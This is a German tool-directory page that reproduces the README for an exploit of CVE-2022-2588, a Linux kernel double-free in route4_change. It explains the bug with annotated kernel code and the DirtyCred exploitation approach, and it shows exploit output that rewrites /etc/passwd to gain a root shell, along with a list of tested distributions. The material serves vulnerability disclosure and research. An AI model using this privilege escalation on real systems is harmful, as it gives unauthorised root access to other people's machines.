Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-2588 — Exploit für CVE-2022-2588 | Kitploit
Tools/GitHubGitHub/markakd/cve-2022-2588
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungBinary-Exploitation
GitHubmarkakd/cve-2022-2588

CVE-2022-2588

Exploit für CVE-2022-2588

Repository anzeigen
48871vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-2588

Der Fix

Der Bug wurde in Linux v5.19 durch diesen Commit behoben.

Der Bug

Der Bug wurde 2014 in Linux v3.17 durch diesen Commit eingeführt. Zum Auslösen sind User Namespaces erforderlich. Dieser Bug ist CVE-2021-3715 sehr ähnlich, der durch eine fehlerhafte Operation an der verketteten Liste von route4_filter verursacht wurde. Weitere Details zu CVE-2021-3715 finden sich im Blackhat-Vortrag (Seite 16). Im Folgenden einige kurze Details zu CVE-2022-2588.

Im Folgenden werden einige wichtige Codeausschnitte der Funktion route4_change zum Verständnis von CVE-2022-2588 gezeigt.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

Die Funktion dient zum Initialisieren/Ersetzen des route4_filter-Objekts. Der Filter verwendet handle als eindeutige ID, um die einzelnen Filter zu unterscheiden. Wenn bereits ein Handle initialisiert wurde (d. h. die Variable fold nicht null ist), wird der Filter aktualisiert, indem der alte Filter entfernt und ein neuer Filter hinzugefügt wird. Andernfalls wird nur ein neuer Filter hinzugefügt.

In [0] allokiert der Kernel das route4_filter-Objekt. In [1] werden, falls fold nicht leer ist (d. h. es existiert ein Filter mit demselben Handle), einige Informationen in den neuen Filter kopiert. Der neue Filter wird in [2] initialisiert und dann in [3] in die Liste eingefügt. Wenn der alte Filter existiert, wird er in [4] aus der Liste entfernt und in [6] freigegeben.

Der Bug tritt in [4] auf, wo geprüft wird, ob ein alter Filter zu entfernen ist. Die Bedingung stellt sicher, dass das Handle nicht null sein darf und mit dem Handle des neuen Filters übereinstimmen muss. Diese Bedingung stimmt nicht mit der Bedingung für das Freigeben des Filters in [6] überein, die nur prüft, ob der alte Filter existiert. Wenn Benutzer also einen Filter mit Handle 0 erstellen und dann dessen Ersetzung auslösen, wird der Filter in [4] nicht aus der Liste entfernt, aber in [6] freigegeben, da die Bedingungen nicht identisch sind.

Die Ausnutzung

Da dieser Bug CVE-2021-3715 ähnelt, sind ihre Primitives nahezu identisch. Für eine detailliertere Beschreibung der Primitives können Leser auf den Blackhat-Vortrag verwiesen werden. Dieser Write-up zeigt die Ausnutzung mit der Idee von DirtyCred.

Da das freigegebene fold nach dem Auslösen des Bugs weiterhin in der verketteten Liste steht, können wir fold erneut freigeben, was schließlich zu einem Double-Free auf dem route4_filer-Objekt und dem route4_filter->exts.action-Objekt führt, sofern CONFIG_NET_CLS_ACT aktiviert ist.

Die Exploit-Codes nutzen diese beiden Double-Free-Fähigkeiten, um den Angriff auf Task-Credentials (mittels kmalloc-192 Double-Free, folgt in Kürze) und Open-File-Credentials (mittels kmalloc-256 Double-Free) zu demonstrieren.

Angriff auf Datei-Credentials

Der Idee von DirtyCred folgend, tauscht der Exploit-Code die Datei-Credentials nach den Berechtigungsprüfungen aus, sodass wir beliebige Inhalte in Dateien mit Leserecht schreiben können. Im Idealfall funktioniert der Code auf allen von dem Bug betroffenen Kernel-Versionen. Es sei darauf hingewiesen, dass der Exploit ein anderes Spray-Objekt verwendet, um sicherzustellen, dass er auch auf älteren Kerneln funktioniert, auf denen msg_msg in kmalloc-rcl-* isoliert ist.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

Der Exploit wurde geschrieben, um auf möglichst vielen Distributionen zu funktionieren. Er wurde auf folgenden Systemen erfolgreich getestet:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(Bitte zögere nicht, einen PR zu schicken, um dies zu aktualisieren, falls du feststellst, dass er auf anderen Kerneln funktioniert.)

Möchtest du den Exploit in der VM ausprobieren?

Bitte melde dich mit dem Benutzer low und dem Passwort low an.

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
Tool herunterladen